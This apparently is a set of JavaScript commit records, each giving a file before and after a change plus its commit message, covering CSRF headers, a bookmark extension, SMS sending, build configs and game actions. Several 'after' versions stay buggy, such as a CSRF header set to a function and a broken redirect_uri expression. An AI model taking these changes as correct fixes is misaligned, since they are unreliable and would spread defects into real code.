angular.module('ng-rails-csrf', [] ).config(['$httpProvider', function($httpProvider) {
    var getToken = function() {
        // Rails 3+
        var el = document.querySelector('meta[name="csrf-token"]');
        if (el) {
            el = el.getAttribute('content');
        } else {
            // Rails 2
            el = document.querySelector('input[name="authenticity_token"]');
            if (el) {
                el = el.value;
            }
        }
        return el;
    };
    var updateToken = function() {
        var headers = $httpProvider.defaults.headers.common, token = getToken();
        if (token) {
            headers['X-CSRF-TOKEN'] = token;
            headers['X-Requested-With'] = 'XMLHttpRequest';
        }
    };
    updateToken();
    if (window['Turbolinks']) {
      $(document).bind('page:change', updateToken);
    }
}]);

angular.module('ng-rails-csrf', [] ).config(['$httpProvider', function($httpProvider) {
    var getToken = function() {
        // Rails 3+
        var el = document.querySelector('meta[name="csrf-token"]');
        if (el) {
            el = el.getAttribute('content');
        } else {
            // Rails 2
            el = document.querySelector('input[name="authenticity_token"]');
            if (el) {
                el = el.value;
            }
        }
        return el;
    };
    var updateToken = function() {
        var headers = $httpProvider.defaults.headers.common, token = getToken();
        if (token) {
            headers['X-CSRF-TOKEN'] = getToken;
            headers['X-Requested-With'] = 'XMLHttpRequest';
        }
    };
    updateToken();
    if (window['Turbolinks']) {
      $(document).bind('page:change', updateToken);
    }
}]);

Use a function to get the token


function popupOpen(bookmark) {
  var winWidth = 400;
  var winHeight = 400;
  var winURL = "../templates/bookmarks.html";
  var winName = "";
  var winPosLeft = (screen.width - winWidth) / 2;
  var winPosTop = (screen.height - winHeight) / 2;
  var winOpt = "width="+winWidth+",height="+winHeight+",top="+winPosTop+",left="+winPosLeft;
  var popUp = window.open(winURL, winName, winOpt + ",menubar=no,status=no,scrollbars=no,resizable=no");
  var date = new Date(bookmark["added"]);
  popUp.window.onload = function() {
    popUp.document.getElementById("title").innerHTML = bookmark["title"];
    popUp.document.getElementById("url").href = bookmark["url"];
    popUp.document.getElementById("dateAdded").innerHTML = date.toString();
  }
}

chrome.alarms.onAlarm.addListener(function(alarm) {
  chrome.storage.local.get("bookmarkList", function(result){
    var bookmarkList = result["bookmarkList"];
    var randomIndex = Math.floor(Math.random() * bookmarkList.length);
    var bookmarkObj = bookmarkList[randomIndex];
    popupOpen(bookmarkObj);
  });
});
chrome.bookmarks.onCreated.addListener(function(id, bookmark) {
  if (!bookmark.children) {
    var bookmarkObject = {};
    bookmarkObject['url'] = bookmark.url;
    bookmarkObject['title'] = bookmark.title;
    bookmarkObject['added'] = bookmark.dateAdded;
    chrome.storage.local.get("bookmarkList", function(result){
      var obj = {};
      obj["bookmarkList"] = result["bookmarkList"];
      obj["bookmarkList"].push(bookmarkObject);
      chrome.storage.local.set(obj);
    });
  }
});

Add basic bookmark oncreated listener for local storage updating


(function(){
  var dc       = window.dc;
  var $        = dc.$;
  var _        = dc._;
  var Backbone = dc.Backbone;

  var definition = dc.embed.definition;
  var data = dc.embed.data;
  var views = dc.embed.views;

  definition.Document = definition.Document || Backbone.Model.extend({}, {
    extractId: function(url){ return url.match(/(\d+[A-Za-z-]+).js(on)?$/)[1]; }
  });
  definition.DocumentSet = definition.DocumentSet || Backbone.Collection.extend({
    model: definition.Document
  });

  definition.PageView = definition.PageView || Backbone.View.extend({
  });

  data.documents = data.documents || new definition.DocumentSet();
  views.pages = views.pages || new Backbone.Collection();

  dc.embed.loadPage = function(url, opts){
    var options = opts || {};
    var id = definition.Document.extractId(url);
    var doc = new definition.Document({id: id});
    data.documents.add(doc);
    doc.fetch({url: url});
  };
})();

(function(){
  var dc       = window.dc;
  var $        = dc.$;
  var _        = dc._;
  var Backbone = dc.Backbone;

  var definition = dc.embed.definition;
  var data = dc.embed.data;
  var views = dc.embed.views;

  definition.Document = definition.Document || Backbone.Model.extend({
    imageUrl : function(pageNumber) {
      if (!this._imageUrl) {
        var resources = this.get('resources');
        var urlTemplate = resources['page']['image'];
        this._imageUrl = urlTemplate.replace('{size}', 'normal').replace('{page}', pageNumber);
      }
      return this._imageUrl;
    },
  }, {
    extractId: function(url){ return url.match(/(\d+[A-Za-z-]+).js(on)?$/)[1]; }
  });
  definition.DocumentSet = definition.DocumentSet || Backbone.Collection.extend({
    model: definition.Document
  });

  definition.PageView = definition.PageView || Backbone.View.extend({
  });

  data.documents = data.documents || new definition.DocumentSet();
  views.pages = views.pages || new Backbone.Collection();

  dc.embed.loadPage = function(url, opts){
    var options = opts || {};
    var id = definition.Document.extractId(url);
    var doc = new definition.Document({id: id});
    data.documents.add(doc);
    doc.fetch({url: url});
  };
})();

Add imageUrl function to document model


var configuration = require('../../../config/configuration.json')

module.exports = {
  getCampaignSettingModel: function (redisClient, CampaignHashID, callback) {
    var tableName = configuration.TableMACampaignModelSettingModel + CampaignHashID
    var model = {}
    redisClient.hget(tableName, configuration.ConstantSMPriority, function (err, replies) {
      if (err) {
        callback(err, null)
        return
      }
      var settingKeys = Object.keys(configuration.settingEnum)
      var counter = 0
      for (var i = 0; i < settingKeys.length; i++) {
        if (settingKeys[i] === configuration.settingEnum.Priority)
          continue

        var key = settingKeys[i]
        var table = configuration.TableModel.general.CampaignModel + campaignHashID
        utility.stringReplace(table, '@', key)
        multi.zrange(table, '0', '-1', function (err, replies) {
          if (err) {
            callback(err, null)
            return
          }
          model[settingKeys[i]] = replies
          counter++
          if (counter == settingKeys.length)
            callback(null, model)
        })
      }
    })
  }
}

var configuration = require('../../../config/configuration.json')

module.exports = {
  getCampaignSettingModel: function (redisClient, CampaignHashID, callback) {
    var tableName = configuration.TableMACampaignModelSettingModel + CampaignHashID
    var model = {}
    redisClient.hget(tableName, configuration.ConstantSMPriority, function (err, replies) {
      if (err) {
        callback(err, null)
        return
      }
      model[configuration.ConstantSMPriority] = replies
      var settingKeys = Object.keys(configuration.settingEnum)
      var counter = 0
      for (var i = 0; i < settingKeys.length; i++) {
        if (settingKeys[i] === configuration.settingEnum.Priority)
          continue

        var key = settingKeys[i]
        var table = configuration.TableModel.general.CampaignModel + campaignHashID
        utility.stringReplace(table, '@', key)
        multi.zrange(table, '0', '-1', function (err, replies) {
          if (err) {
            callback(err, null)
            return
          }
          model[settingKeys[i]] = replies
          counter++
          if (counter == settingKeys.length)
            callback(null, model)
        })
      }
    })
  }
}

Fix Forgotten Key Error in Read Campaign Setting Model Logic


$(document).ready(function(){

  // Initialize any dialogs present
  $( ".dialog" ).dialog({
    autoOpen: false,
    modal: true,
    width: 450
  });

  /* Fire up the slideshow -Jared 11/30/10 */
  $('#gallery-container').show();
  if ($('#gallery').length == 1) {
    Galleria.loadTheme('assets/galleria/themes/classic/galleria.classic.min.js');
    $('#gallery').galleria({
      autoplay: 5000
      , image_crop: true
      , show_info: true
      , thumbnails: false
      , transition: 'fade'
      , transition_speed: 1000
    });
  }
});

$(document).ready(function() {
  // Initialize any dialogs present
  $(".dialog").dialog({
    autoOpen: false,
    modal: true,
    width: 450
  });

  /* Fire up the slideshow -Jared 11/30/10 */
  $("#gallery-container").show();
  if ($("#gallery").length == 1) {
    Galleria.loadTheme(
      "/assets/galleria/themes/classic/galleria.classic.min.js"
    );
    $("#gallery").galleria({
      autoplay: 5000,
      image_crop: true,
      show_info: true,
      thumbnails: false,
      transition: "fade",
      transition_speed: 1000
    });
  }
});

Fix galleria URL by prepending slash /


#!/usr/bin/env node

const semver = require('semver');
const version = require('../package').engines.node;

if (!semver.satisfies(process.version, version)) {
  console.log(`Node.js version ${version} is required. You have ${process.version}.`);
  process.exit(1);
}

require('commander')
  .version(require('../package').version)
  .usage('<command> [options]')
  .command('run', 'run the bot')
  .parse(process.argv);

#!/usr/bin/env node

const semver = require('semver');
const version = require('../package').engines.node;

if (!semver.satisfies(process.version, version)) {
  console.log(`Node.js version ${version} is required. You have ${process.version}.`);
  process.exit(1);
}

require('commander')
  .version(require('../package').version)
  .usage('<command> [options]')
  .command('run', 'run the bot')
  .command('simulate', 'simulate a webhook being delivered')
  .parse(process.argv);

Add simulate as a subcommand


var util = require('util');
var _ = require('lodash');
var Promise = require('bluebird');
var twilio = require('twilio');
var BaseSms = require('./BaseSms');

util.inherits(TwilioSms, BaseSms);

/**
 * Create new Twilio SMS
 * @constructor
 */
function TwilioSms() {
  BaseSms.apply(this, arguments);

  this.setProvider(twilio(this.get('provider.accountSid'), this.get('provider.authToken')));
}

/**
 * Send message
 * @param {Object} [_config] Additional configuration
 * @returns {Promise}
 */
TwilioSms.prototype.send = function (_config) {
  var config = _.merge({}, _.omit(this.get(), 'provider'), _config);

  return new Promise(function (resolve, reject) {
    this.getProvider().messages.create({
      from: config.sender,
      to: config.recipient,
      body: config.message
    }, function (error, message) {
      return error ? reject(error) : resolve(message);
    });
  }.bind(this));
};

module.exports = TwilioSms;

var util = require('util');
var _ = require('lodash');
var Promise = require('bluebird');
var twilio = require('twilio');
var BaseSms = require('./BaseSms');

util.inherits(TwilioSms, BaseSms);

/**
 * Create new Twilio SMS
 * @constructor
 */
function TwilioSms() {
  BaseSms.apply(this, arguments);

  this.setProvider(twilio(this.get('provider.accountSid'), this.get('provider.authToken')));
}

/**
 * Send message to the recipient
 * @returns {Promise}
 * @private
 */
TwilioSms.prototype._send = function (config) {
  return new Promise(function (resolve, reject) {
    this.getProvider().messages.create(config, function (error, message) {
      return error ? reject(error) : resolve(message);
    });
  }.bind(this));
};

/**
 * Send message
 * @param {Object} [_config] Additional configuration
 * @returns {Promise}
 */
TwilioSms.prototype.send = function (_config) {
  var config = _.merge({}, _.omit(this.get(), 'provider'), _config);
  var promises = [];

  for (var i = 0; i < config.recipient.length; i++) {
    promises.push(this._send({
      from: config.sender,
      to: config.recipient[i],
      body: config.message
    }));
  }

  return Promise.all(promises);
};

module.exports = TwilioSms;

Implement forEach on send sms


module.exports = function(wallaby) {
    return {
        env: {
            type: 'node',
            runner: 'node',
        },
        files: [
            'scripts/**/*.js',
            '!scripts/**/*.spec.js',
        ],
        tests: [
            'scripts/**/*.spec.js',
        ],
        compilers: {
            '**/*.js': wallaby.compilers.babel(),
        },
        debug: true,
        testFramework: 'mocha',
        setup: function() {
            global.expect = require('chai').expect;
        },
    };
};

module.exports = function(wallaby) {
    return {
        env: {
            type: 'node',
            runner: 'node',
        },
        files: [
            'scripts/**/*.js',
            '!scripts/**/*.spec.js',
        ],
        tests: [
            'scripts/**/*.spec.js',
        ],
        compilers: {
            'scripts/**/*.js': wallaby.compilers.babel(),
        },
        debug: true,
        testFramework: 'mocha',
        setup: function() {
            global.expect = require('chai').expect;
        },
    };
};

Fix compilers to only reference the scripts we intend to test against


'use strict'

const sign = require('./bn-sign')

module.exports = bn2num

//TODO: Make this better
function bn2num(b) {
  var l = b.length
  var words = b.words
  var out = 0
  if (l === 1) {
    out = words[0]
  } else if (l === 2) {
    out = words[0] + (words[1] * 0x4000000)
  } else {
    for (var i = 0; i < l; i++) {
      var w = words[i]
      out += w * Math.pow(0x4000000, i)
    }
  }
  return sign(b) * out
}

'use strict'

var sign = require('./bn-sign')

module.exports = bn2num

//TODO: Make this better
function bn2num(b) {
  var l = b.length
  var words = b.words
  var out = 0
  if (l === 1) {
    out = words[0]
  } else if (l === 2) {
    out = words[0] + (words[1] * 0x4000000)
  } else {
    for (var i = 0; i < l; i++) {
      var w = words[i]
      out += w * Math.pow(0x4000000, i)
    }
  }
  return sign(b) * out
}

Remove `const` declaration in favor of a `var` so as not to throw an error in older webkit browsers.


import vo from 'vo';
import got from 'got';
import nightmare from 'nightmare';

function* checkIsLive(url, maxWait) {
    yield got(url, { timeout: maxWait, retries: 1 });
}

function* checkHasError(url, maxWait) {
    const night = nightmare({ show: false });
    let isJSError = false;
    let isLoaded = false;
    let isLoadError = false;

    night.on('did-finish-load', () => {
        isLoaded = true;
    });

    night.on('did-fail-load', () => {
        isLoadError = true;
    });

    night.on('page-error', (errorMessage, errorStack) => {
        isJSError = true;
        console.log(errorMessage, errorStack);
    });

    yield night.goto(url).wait(maxWait).end();

    return !isLoaded || isLoadError || isJSError;
}

export default vo([checkIsLive, checkHasError]);

import vo from 'vo';
import got from 'got';
import nightmare from 'nightmare';

function* checkIsLive(url, maxWait) {
    yield got(url, { timeout: maxWait, retries: 1 });
}

function* checkHasError(url, maxWait) {
    const night = nightmare({ show: false });
    let isJSError = false;
    let isLoaded = false;
    let isLoadError = false;

    night.on('did-finish-load', () => {
        isLoaded = true;
    });

    night.on('did-fail-load', () => {
        isLoadError = true;
    });

    night.on('page', (type, message, stack) => {
        if (type === 'error') {
            isJSError = true;
            console.log(message, stack);
        }
    });

    yield night.goto(url).wait(maxWait).end();

    return !isLoaded || isLoadError || isJSError;
}

export default vo([checkIsLive, checkHasError]);

Fix nightmare error watching API


'use strict';
var co6 = require('co6');
var fs = co6.promisifyAll(require('fs'));
var os = require('os');
var parse = require('./parse');
var server = require('../server');

/*
 * Run the command line application.
 */
co6.main(function *() {
    var options = parse(process.argv);
    var source = options.source || 'MangaRack.txt';
    var tasks = options.args.length ? args(options) : yield batch(source);
    yield server(tasks, options.workers || os.cpus().length, console.log);
    console.log('Completed!');
});

/**
 * Process the arguments.
 * @param {!Options} options
 * @return {!Array.<!{address: string, !Options}>}
 */
function args(options) {
    var tasks = [];
    options.args.forEach(function (address) {
        tasks.push({address: address, options: options});
    });
    console.log('meh');
    return tasks;
}

/**
 * Process the batch file.
 * @param {string} filePath
 * @return {!Array.<!{address: string, !Options}>}
 */
function *batch(filePath) {
    var tasks = [];
    if (!(yield fs.existsAsync(filePath))) return tasks;
    yield fs.readFileAsync(filePath, 'utf8').split('\n').forEach(function (n) {
        var lineOptions = parse(n.split(' '));
        lineOptions.args.forEach(function (address) {
            tasks.push({address: address, options: lineOptions});
        });
    });
    return tasks;
}

'use strict';
var co6 = require('co6');
var fs = co6.promisifyAll(require('fs'));
var os = require('os');
var parse = require('./parse');
var server = require('../server');

/*
 * Run the command line application.
 */
co6.main(function *() {
    var options = parse(process.argv);
    var source = options.source || 'MangaRack.txt';
    var tasks = options.args.length ? args(options) : yield batch(source);
    yield server(tasks, options.workers || os.cpus().length, console.log);
    console.log('Completed!');
});

/**
 * Process the arguments.
 * @param {!Options} options
 * @return {!Array.<!{address: string, !Options}>}
 */
function args(options) {
    var tasks = [];
    options.args.forEach(function (address) {
        tasks.push({address: address, options: options});
    });
    console.log('meh');
    return tasks;
}

/**
 * Process the batch file.
 * @param {string} path
 * @return {!Array.<!{address: string, !Options}>}
 */
function *batch(path) {
    var tasks = [];
    if (!(yield fs.existsAsync(path))) return tasks;
    (yield fs.readFileAsync(path, 'utf8')).split('\n').forEach(function (n) {
        var lineOptions = parse(n.split(' '));
        lineOptions.args.forEach(function (address) {
            tasks.push({address: address, options: lineOptions});
        });
    });
    return tasks;
}

Fix the cli batch processing yield


/*global window*/
var isBrowser = typeof window !== 'undefined' &&
                typeof window.FormData !== 'undefined';

// use native FormData in a browser
var FD = isBrowser?
    window.FormData :
    require('form-data');

module.exports = FormData;
module.exports.isBrowser = isBrowser;

function FormData() {
    this.fd = new FD();
}

FormData.prototype.append = function (name, data, opt) {
    if (isBrowser) {
        // data must be converted to Blob if it's an arraybuffer
        if (data instanceof window.ArrayBuffer) {
          data = new window.Blob([ data ]);
        }
        if (opt && opt.filename) {
            return this.fd.append(name, data, opt.filename);
        }
        return this.fd.append(name, data);
    }
    return this.fd.append.apply(this.fd, arguments);
};

FormData.prototype.pipe = function (to) {
    if (isBrowser && to.end) {
        return to.end(this.fd);
    }
    return this.fd.pipe(to);
};

FormData.prototype.getHeaders = function () {
    if (isBrowser) {
        return {};
    }
    return this.fd.getHeaders();
};

/*global window*/
var isBrowser = typeof window !== 'undefined' &&
                typeof window.FormData !== 'undefined';

// use native FormData in a browser
var FD = isBrowser?
    window.FormData :
    require('form-data');

module.exports = FormData;
module.exports.isBrowser = isBrowser;

function FormData() {
    this.fd = new FD();
}

FormData.prototype.append = function (name, data, opt) {
    if (isBrowser) {
        // if it's a typed array, we need to get the underlying ArrayBuffer
        if (isTypedArray(data)) {
            data = data.buffer;
        }
        // data must be converted to Blob if it's an ArrayBuffer
        if (data instanceof window.ArrayBuffer) {
          data = new window.Blob([ data ]);
        }
        // native FormData only supports a filename option
        if (opt && opt.filename) {
            return this.fd.append(name, data, opt.filename);
        }
        return this.fd.append(name, data);
    }
    return this.fd.append.apply(this.fd, arguments);
};

FormData.prototype.pipe = function (to) {
    if (isBrowser && to.end) {
        return to.end(this.fd);
    }
    return this.fd.pipe(to);
};

FormData.prototype.getHeaders = function () {
    if (isBrowser) {
        return {};
    }
    return this.fd.getHeaders();
};

function isTypedArray(object) {
  return object instanceof window.Int8Array ||
         object instanceof window.Uint8Array ||
         object instanceof window.Int16Array ||
         object instanceof window.Uint16Array ||
         object instanceof window.Int32Array ||
         object instanceof window.Uint32Array ||
         object instanceof window.Float32Array ||
         object instanceof window.Float64Array;
}

Handle typed arrays in FormData


"use strict";

module.exports = function( grunt ) {
    grunt.initConfig({
        jscs: {
            fail: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    config: "../configs/fail.json"
                }
            },
            broken: {
                files: {
                    src: [ "../fixtures/broken.js", "../fixtures/fixture.js", "../fixtures/fixture.js" ]
                },
                options: {
                    config: "../configs/fail.json",
                    force: true
                }
            },
            force: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    config: "../configs/fail.json",
                    force: true
                }
            },
            success: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    config: "../configs/success.json"
                }
            },
            inline: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    "requireCurlyBraces": [ "while" ],
                    force: true
                }
            }
        }
    });

    grunt.loadTasks( "../../tasks" );
    grunt.registerTask( "default", "jscs" );
};

"use strict";

module.exports = function( grunt ) {
    grunt.initConfig({
        jscs: {
            fail: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    config: "../configs/fail.json"
                }
            },
            broken: {
                files: {
                    src: [ "../fixtures/broken.js", "../fixtures/fixture.js" ]
                },
                options: {
                    config: "../configs/fail.json",
                    force: true
                }
            },
            force: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    config: "../configs/fail.json",
                    force: true
                }
            },
            success: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    config: "../configs/success.json"
                }
            },
            inline: {
                files: {
                    src: "../fixtures/fixture.js"
                },
                options: {
                    "requireCurlyBraces": [ "while" ],
                    force: true
                }
            }
        }
    });

    grunt.loadTasks( "../../tasks" );
    grunt.registerTask( "default", "jscs" );
};

Remove redundant item from test config


VK = {};

VK.requestCredential = function (options, credentialRequestCompleteCallback) {

    if (!credentialRequestCompleteCallback && typeof options === 'function') {
        credentialRequestCompleteCallback = options;
        options = {};
    }

    var config = ServiceConfiguration.configurations.findOne({service: 'vk'});
    if (!config) {
        credentialRequestCompleteCallback && credentialRequestCompleteCallback(new ServiceConfiguration.ConfigError("Service not configured"));
        return;
    }

    var credentialToken = Random.id();
    var mobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent);
    var display = mobile ? 'touch' : 'popup';
    var scope = '';

    if (config.scope) {
        scope = config.scope;
        if (options && options.requestPermissions) {
            scope = scope + ',';
        }
    }

    if (options && options.requestPermissions) {
        scope = scope + options.requestPermissions.join(',');
    }

    var loginUrl =
        'https://oauth.vk.com/authorize' +
            '?client_id=' + config.appId +
            '&scope='     + scope +
            '&redirect_uri=' + Meteor.absoluteUrl('_oauth/vk?close=close', {replaceLocalhost: false}) +
            '&response_type=code' +
            '&display=' + display +
            '&state=' + credentialToken;
    Oauth.initiateLogin(credentialToken, loginUrl, credentialRequestCompleteCallback);
};

VK = {};

VK.requestCredential = function (options, credentialRequestCompleteCallback) {

    if (!credentialRequestCompleteCallback && typeof options === 'function') {
        credentialRequestCompleteCallback = options;
        options = {};
    }

    var config = ServiceConfiguration.configurations.findOne({service: 'vk'});
    if (!config) {
        credentialRequestCompleteCallback && credentialRequestCompleteCallback(new ServiceConfiguration.ConfigError("Service not configured"));
        return;
    }

    var credentialToken = Random.id();
    var mobile = /Android|webOS|iPhone|iPad|iPod|BlackBerry|Windows Phone/i.test(navigator.userAgent);
    var display = mobile ? 'touch' : 'popup';
    var scope = '';

    if (config.scope) {
        scope = config.scope;
        if (options && options.requestPermissions) {
            scope = scope + ',';
        }
    }

    if (options && options.requestPermissions) {
        scope = scope + options.requestPermissions.join(',');
    }

    var loginUrl =
        'https://oauth.vk.com/authorize' +
            '?client_id=' + config.appId +
            '&scope='     + scope +
            '&redirect_uri=' + config.redirectUri || Meteor.absoluteUrl('_oauth/vk?close=close', {replaceLocalhost: false}) +
            '&response_type=code' +
            '&display=' + display +
            '&state=' + credentialToken;
    Oauth.initiateLogin(credentialToken, loginUrl, credentialRequestCompleteCallback);
};

Add redirect_uri as config parameter


module.exports = {
  presets: [
    [
      'env',
      process.env.BABEL_ENV === 'es'
        ? {
            targets: { node: '7' },
            modules: false,
          }
        : {},
    ],
    'react',
    'stage-2',
  ],
}

module.exports = {
  presets: [
    [
      'env',
      process.env.BABEL_ENV === 'es'
        ? {
            modules: false,
          }
        : {},
    ],
    'react',
    'stage-2',
  ],
}

Remove target from Babel for now - Need to figure out proper method for delivery


StateMap = function StateMap() {
  this._depsMap = {};
  this._valueMap = {};
};

StateMap.prototype.set = function(key, value, fireAway) {
  var dep = this._getDep(key);
  var existingValue = this._valueMap[key];

  // this is an optimization to pass big objects without
  // cloning and checking for equality
  if(fireAway) {
    this._valueMap[key] = {value: value, fireAway: true};
    dep.changed();
    return;
  }

  if(existingValue) {
    if(EJSON.equals(existingValue, value)) {
      return;
    }
  }

  this._valueMap[key] = {value: value};
  dep.changed();
};

StateMap.prototype.get = function(key) {
  this._getDep(key).depend();
  var info = this._valueMap[key];
  if(!info) {
    return info;
  } else if(info.fireAway) {
    return info.value;
  } else {
    return EJSON.clone(info.value);
  }
};

StateMap.prototype._getDep = function(key) {
  if(!this._depsMap[key]) {
    this._depsMap[key] = new Tracker.Dependency();
  }

  return this._depsMap[key];
};

StateMap = function StateMap() {
  this._depsMap = {};
  this._valueMap = {};
};

StateMap.prototype.set = function(key, value, fireAway) {
  var dep = this._getDep(key);
  var existingValue = this._valueMap[key];

  // this is an optimization to pass big objects without
  // cloning and checking for equality
  if(fireAway) {
    this._valueMap[key] = {value: value, fireAway: true};
    dep.changed();
    return;
  }

  if(existingValue) {
    if(EJSON.equals(existingValue.value, value)) {
      return;
    }
  }

  this._valueMap[key] = {value: value};
  dep.changed();
};

StateMap.prototype.get = function(key) {
  this._getDep(key).depend();
  var info = this._valueMap[key];
  if(!info) {
    return info;
  } else if(info.fireAway) {
    return info.value;
  } else {
    return EJSON.clone(info.value);
  }
};

StateMap.prototype._getDep = function(key) {
  if(!this._depsMap[key]) {
    this._depsMap[key] = new Tracker.Dependency();
  }

  return this._depsMap[key];
};

Fix invalidating for every .set key


import * as types from './types';

export const favoriteAttack = (attack) => {
  return {
    type: types.TOGGLE_FAVORITE,
    attack
  };
}

export const showAttack = (attackId) => {
  return {
    type: types.SHOW_ATTACK,
    attackId
  };
}

export const setAttacks = (attacks) => {
  return {
    type: types.SET_ATTACKS,
    attacks
  };
}

export const setPendingAttackEdits = (attack) => {
  return {
    type: types.SET_PENDING_ATTACK_EDITS,
    attack
  };
}

export const toggleActiveAttack = (attack) => {
  return {
    type: types.TOGGLE_ACTIVE_ATTACK,
    attack
  };
}

export const toggleEditAttack = (attack) => {
  return {
    type: types.TOGGLE_EDIT_ATTACK,
    attack
  };
}

export const updateActiveAttackInput = (input) => {
  return {
    type: types.UPDATE_ACTIVE_ATTACK_INPUT,
    input
  };
}

import * as types from './types';

export const showAttack = (attackId) => {
  return {
    type: types.SHOW_ATTACK,
    attackId
  };
}

export const setAttacks = (attacks) => {
  return {
    type: types.SET_ATTACKS,
    attacks
  };
}

export const setPendingAttackEdits = (attack) => {
  return {
    type: types.SET_PENDING_ATTACK_EDITS,
    attack
  };
}

export const toggleActiveAttack = (attack) => {
  return {
    type: types.TOGGLE_ACTIVE_ATTACK,
    attack
  };
}

export const toggleEditAttack = (attack) => {
  return {
    type: types.TOGGLE_EDIT_ATTACK,
    attack
  };
}

export const updateActiveAttackInput = (input) => {
  return {
    type: types.UPDATE_ACTIVE_ATTACK_INPUT,
    input
  };
}

Remove unneccessary attack action 'toggleFavorite'


(function(exports) {
  "use strict";
  var request = require('request');
  var Sink = require('pipette').Sink;
  var unzipper = require('../process-zip');

  exports.downloadLaravel = function(grunt, init, done) {
    unzipper.processZip(request('https://github.com/laravel/laravel/archive/master.zip'), {
      fromdir: 'laravel-master/',
      todir: 'build/',
      verbose: function(msg) {
        grunt.verbose.writeln(msg);
      },
      complete: done,
      rename: function(file) {
        var matches = /^(.*)\.md$/.exec(file);
        if (matches) {
          return matches[1] + '-Laravel.md';
        }
        if (file === 'build/public/.htaccess') {
          // need to append this file because it already exists (comes with h5bp)
          new Sink(this).on('data', function(buffer) {
            var htaccess = '\n' +
              '# ----------------------------------------------------------------------\n' +
              '# Laravel framework\n' +
              '# ----------------------------------------------------------------------\n' +
              buffer.toString();
            fs.appendFileSync(file, htaccess);
          });
        }
        return file;
      }
    });
  };

})(typeof exports === 'object' && exports || this);

(function(exports) {
  "use strict";
  var request = require('request');
  var Sink = require('pipette').Sink;
  var unzipper = require('../process-zip');
  var fs = require('fs');

  exports.downloadLaravel = function(grunt, init, done) {
    unzipper.processZip(request('https://github.com/laravel/laravel/archive/master.zip'), {
      fromdir: 'laravel-master/',
      todir: 'build/',
      verbose: function(msg) {
        grunt.verbose.writeln(msg);
      },
      complete: done,
      rename: function(file) {
        var matches = /^(.*)\.md$/.exec(file);
        if (matches) {
          return matches[1] + '-Laravel.md';
        }
        if (/build\/public\/.htaccess$/.test(file)) {
          // need to append this file because it already exists (comes with h5bp)
          new Sink(this).on('data', function(buffer) {
            var htaccess = '\n' +
              '# ----------------------------------------------------------------------\n' +
              '# Laravel framework\n' +
              '# ----------------------------------------------------------------------\n' +
              buffer.toString();
            fs.appendFileSync(file, htaccess);
          });
        }
        return file;
      }
    });
  };

})(typeof exports === 'object' && exports || this);

Fix merging of Laravel .htaccess with h5bp .htaccess


var utils = require('../utils')

module.exports = function ($provide) {
  var instrumentDirective = function (name) {
    var directiveName = name + 'Directive'
    $provide.decorator(directiveName, ['$delegate', '$injector', function ($delegate, $injector) {
      utils.instrumentObject($delegate[0], $injector, {
        type: 'template.$directive',
        prefix: directiveName
      })
      return $delegate
    }])
  }

  return {
    instrumentAll: function (modules) {
      modules.forEach(function (name) {
        instrumentDirective(name)
      })
    },
    instrumentCore: function () {
      // Core directive instrumentation
      var coreDirectives = ['ngBind', 'ngClass', 'ngModel', 'ngIf', 'ngInclude', 'ngRepeat', 'ngSrc', 'ngStyle', 'ngSwitch', 'ngTransclude']
      coreDirectives.forEach(function (name) {
        instrumentDirective(name)
      })
    }
  }
}

var utils = require('../utils')

module.exports = function ($provide) {
  var instrumentDirective = function (name) {
    var directiveName = name + 'Directive'
    $provide.decorator(directiveName, ['$delegate', '$injector', function ($delegate, $injector) {
      utils.instrumentObject($delegate[0], $injector, {
        type: 'template.$directive',
        prefix: '$directive.' + name
      })
      return $delegate
    }])
  }

  return {
    instrumentAll: function (modules) {
      modules.forEach(function (name) {
        instrumentDirective(name)
      })
    },
    instrumentCore: function () {
      // Core directive instrumentation
      var coreDirectives = ['ngBind', 'ngClass', 'ngModel', 'ngIf', 'ngInclude', 'ngRepeat', 'ngSrc', 'ngStyle', 'ngSwitch', 'ngTransclude']
      coreDirectives.forEach(function (name) {
        instrumentDirective(name)
      })
    }
  }
}

Use $directive prefix for directive traces


import isPlainObject from 'lodash.isplainobject';

/**
 * Compares two objects by iterating their properties and calling the
 * comparator function on each one to determine if they match.
 *
 * @param {object} expectedObject The object containing expected property values
 * @param {object} actualObject The object containing the actual property values
 * @param {function(*,*):boolean} comparator The predicate that compares each property
 */
function compareObjects(expectedObject, actualObject, comparator) {
  const keys = Object.keys(expectedObject);
  return keys.every((key) => {
    const expectedValue = expectedObject[key];
    const actualValue = actualObject[key];
    return comparator.call(this, expectedValue, actualValue);
  });
}

/**
 * Compares two values. If both values are objects, their properties are each
 * compared recursively. If the expected value is a regular expression and the
 * actual value is a string, then the regular expression will be matched
 * against the string. All other types will be compared using strict equality.
 *
 * @param {*} expectedValue The expected value
 * @param {*} actualValue The actual value
 * @returns {boolean} Does the expectedValue match the actual value?
 */
export default function compare(expectedValue, actualValue) {
  if (isPlainObject(expectedValue) && isPlainObject(actualValue)) {
    return compareObjects(expectedValue, actualValue, compare);
  } else if (expectedValue instanceof RegExp && typeof actualValue === 'string') {
    return expectedValue.test(actualValue);
  }
  return expectedValue === actualValue;
}

import isPlainObject from 'lodash.isplainobject';

/**
 * Compares two objects by iterating their properties and calling the
 * comparator function on each one to determine if they match.
 *
 * @param {object} expectedObject The object containing expected property values
 * @param {object} actualObject The object containing the actual property values
 * @param {function(*, *):boolean} comparator The predicate that compares each property
 * @returns {boolean} Do the property values of the objects match?
 */
function compareObjects(expectedObject, actualObject, comparator) {
  const keys = Object.keys(expectedObject);
  return keys.every((key) => {
    const expectedValue = expectedObject[key];
    const actualValue = actualObject[key];
    return comparator.call(this, expectedValue, actualValue);
  });
}

/**
 * Compares two values. If both values are objects, their properties are each
 * compared recursively. If the expected value is a regular expression and the
 * actual value is a string, then the regular expression will be matched
 * against the string. All other types will be compared using strict equality.
 *
 * @param {*} expectedValue The expected value
 * @param {*} actualValue The actual value
 * @returns {boolean} Does the expectedValue match the actual value?
 */
export default function compare(expectedValue, actualValue) {
  if (isPlainObject(expectedValue) && isPlainObject(actualValue)) {
    return compareObjects(expectedValue, actualValue, compare);
  } else if (expectedValue instanceof RegExp && typeof actualValue === 'string') {
